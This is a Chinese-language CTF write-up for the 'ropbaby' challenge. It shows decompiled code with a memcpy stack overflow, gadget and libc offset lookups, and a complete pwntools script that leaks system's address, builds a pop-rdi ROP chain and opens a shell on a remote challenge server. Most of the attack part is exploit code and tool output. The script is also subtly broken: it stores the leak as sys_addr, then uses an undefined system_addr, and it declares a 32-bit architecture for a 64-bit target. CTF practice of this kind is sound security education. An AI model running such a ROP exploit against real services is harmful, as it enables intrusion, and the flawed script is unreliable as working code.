shiyanbar-ropbaby

之前去成都“参观”天府杯导致感冒,颓废了好几天。。

先看一下文件类型和程序保护

shiyanbar-ropbaby_第1张图片

开了NX和PIE,栈不可执行和地址随机化,看来不能用shellcode了,就像题目提示的用ROP。(FORTIFY说是会对栈溢出进行保护,但是这里感觉没有体现出来)

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  signed int v3; // eax
  unsigned __int64 v4; // r14
  int v5; // er13
  size_t v6; // r12
  int v7; // eax
  void *handle; // [rsp+8h] [rbp-448h]
  char nptr[1088]; // [rsp+10h] [rbp-440h]
  __int64 savedregs; // [rsp+450h] [rbp+0h]

  setvbuf(stdout, 0LL, 2, 0LL);
  signal(14, handler);
  alarm(0x3Cu);
  puts("\nWelcome to an easy Return Oriented Programming challenge...");
  puts("Menu:");
  handle = dlopen("libc.so.6", 1);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          sub_BF7();
          if ( !sub_B9A((__int64)nptr, 1024LL) )
          {
            puts("Bad choice.");
            return 0LL;
          }
          v3 = strtol(nptr, 0LL, 10);
          if ( v3 != 2 )
            break;
          __printf_chk(1LL, (__int64)"Enter symbol: ");
          if ( sub_B9A((__int64)nptr, 64LL) )
          {
            dlsym(handle, nptr);
            __printf_chk(1LL, (__int64)"Symbol %s: 0x%016llX\n");
          }
          else
          {
            puts("Bad symbol.");
          }
        }
        if ( v3 > 2 )
          break;
        if ( v3 != 1 )
          goto LABEL_24;
        __printf_chk(1LL, (__int64)"libc.so.6: 0x%016llX\n");
      }
      if ( v3 != 3 )
        break;
      __printf_chk(1LL, (__int64)"Enter bytes to send (max 1024): ");
      sub_B9A((__int64)nptr, 1024LL);
      v4 = (signed int)strtol(nptr, 0LL, 10);
      if ( v4 - 1 > 0x3FF )
      {
        puts("Invalid amount.");
      }
      else
      {
        if ( v4 )
        {
          v5 = 0;
          v6 = 0LL;
          while ( 1 )
          {
            v7 = _IO_getc(stdin);
            if ( v7 == -1 )
              break;
            nptr[v6] = v7;
            v6 = ++v5;
            if ( v4 <= v5 )
              goto LABEL_22;
          }
          v6 = v5 + 1;
        }
        else
        {
          v6 = 0LL;
        }
LABEL_22:
        memcpy(&savedregs, nptr, v6);//程序溢出点
      }
    }
    if ( v3 == 4 )
      break;
LABEL_24:
    puts("Bad choice.");
  }
  dlclose(handle);
  puts("Exiting.");
  return 0LL;
}

看完一遍ropbaby的函数结合运行程序,发现了 memcpy(&savedregs, nptr, v6),savedregs是_int64型,只有8字节的空间,而nptr有1088字节,这就造成了栈溢出。

通过运行程序可以了解到这个程序提供了三个功能:

1、得到libc基地址(感觉是假的,并没有用,还是我有什么地方没理解对吗?)

2、得到某个函数的地址(通过这个选项可以得到‘system’的地址,并且通过libc文件内system的偏移得到真正的libc加载的基地址)

3、输入你的payload的长度,然后把payload赋值给savedregs

知道这几个功能,我们就能大致构造payload了,通过栈溢出执行system('/bin/sh')

32位的程序用的是栈内的参数,而64位程序则优先用rdi,rsi,rdx,rcx,r8,r9这六个寄存器来传参,所以为了给system函数传入‘/bin/sh’,就需要找到一个pop rdi;ret的gadget(ROP链就是用各种程序中已有的小程序gadget串在一起实现自己想要的功能,这一个题目里只需要用到一个参数,所以只用到一个gadget——pop rdi;ret)

可以用ROPgadget来找到这一个gadget

ROPgadget --binary libc-2.23.so  --only "pop|ret"
//只展现一小段结果
0x0000000000020256 : pop rdi ; pop rbp ; ret
0x0000000000021102 : pop rdi ; ret  //这一段就是我们要的gadget,偏移量是0x21102
0x0000000000067499 : pop rdi ; ret 0xffff

接着就是要向栈内再存放一个/bin/sh的地址,可以在IDA里查找字符串,也可以直接用strings

strings -tx libc-2.23.so |grep '/bin/sh'

 18cd17 /bin/sh  //偏移量是18cd17

为了计算libc的基地址,需要system的偏移量

objdump -T libc-2.23.so |grep 'system' 

00000000001387d0 g    DF .text	0000000000000046  GLIBC_2.2.5 svcerr_systemerr
0000000000045390 g    DF .text	000000000000002d  GLIBC_PRIVATE __libc_system
0000000000045390  w   DF .text	000000000000002d  GLIBC_2.2.5 system

得到system偏移量时0x45390

至今为止我们得到的都是libc内的偏移量,而不是实际函数或者字符串所在的地址,实际地址是libc在程序加载时的基地址+偏移量。

所以可以写EXP了

from pwn import *

context(log_level = 'debug', arch = 'i386', os = 'linux')#32位还是64位的debug模式似乎没什么差别


target= remote('106.2.25.7',8004)
#target=process('./ropbaby')#本地测试

target.recvuntil(':')
target.recvuntil(':')
target.sendline('2')
target.recvuntil(':')

target.sendline('system')
target.recvuntil(':')
sys_addr=int(target.recv(19),16)#这里":"之后还有一个空格,我一开始只接收18个字符,让我找了半小时    
                                #bug。。。(空格+'0x'+16位地址=19)

print "system_addr="+hex(system_addr)

base_addr=system_addr-0x45390 #libc加载的基地址
print "base_addr="+hex(base_addr)


bin_addr=0x18cd17
bin_addr=base_addr+bin_addr
print "bin_addr="+hex(bin_addr)

gaget_addr=0x21102
gaget_addr=base_addr+gaget_addr
print "gaget_addr="+hex(gaget_addr)
payload = 'a'*8 + p64(gaget_addr) + p64(bin_addr) + p64(system_addr)

print target.recvuntil(':')
print "-------------------------------------------------------------"
target.sendline("3")
target.recvuntil(':')
target.sendline('32')
print payload
target.sendline(payload)

target.interactive()

最后flag在home目录下

参考了http://wzt.ac.cn/2018/04/02/ROP/ 这篇讲了很多基础

你可能感兴趣的:(shiyanbar-ropbaby)